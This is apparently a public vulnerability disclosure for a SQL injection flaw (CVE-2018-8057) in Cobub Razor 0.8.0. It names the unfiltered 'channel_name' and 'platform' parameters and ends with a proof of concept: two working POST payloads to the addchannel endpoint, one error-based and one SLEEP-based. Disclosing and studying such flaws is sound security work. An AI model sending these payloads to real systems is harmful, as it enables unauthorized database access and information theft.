Cobub Razor 0.8.0 SQL Injection

Cobub Razor version 0.8.0 suffers from a remote SQL injection vulnerability.


MD5 | 838b3208a330ca5ac05c059a455fca7c

# Exploit Title:  Cobub Razor 0.8.0 SQL injection Vulnerability
# Date: 2018-04-16
# Exploit Author: Kyhvedni1/[email protected]@5ecurity.cni1/4
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8057



The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.


Code source:
/application/controllers/manage/channel.php at line 75-95


The SQL injection type: error-based and AND/OR time-based blind
Parameter: channel_name,platform


PoC:


http://localhost/index.php?/manage/channel/addchannel
POST data:
1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1


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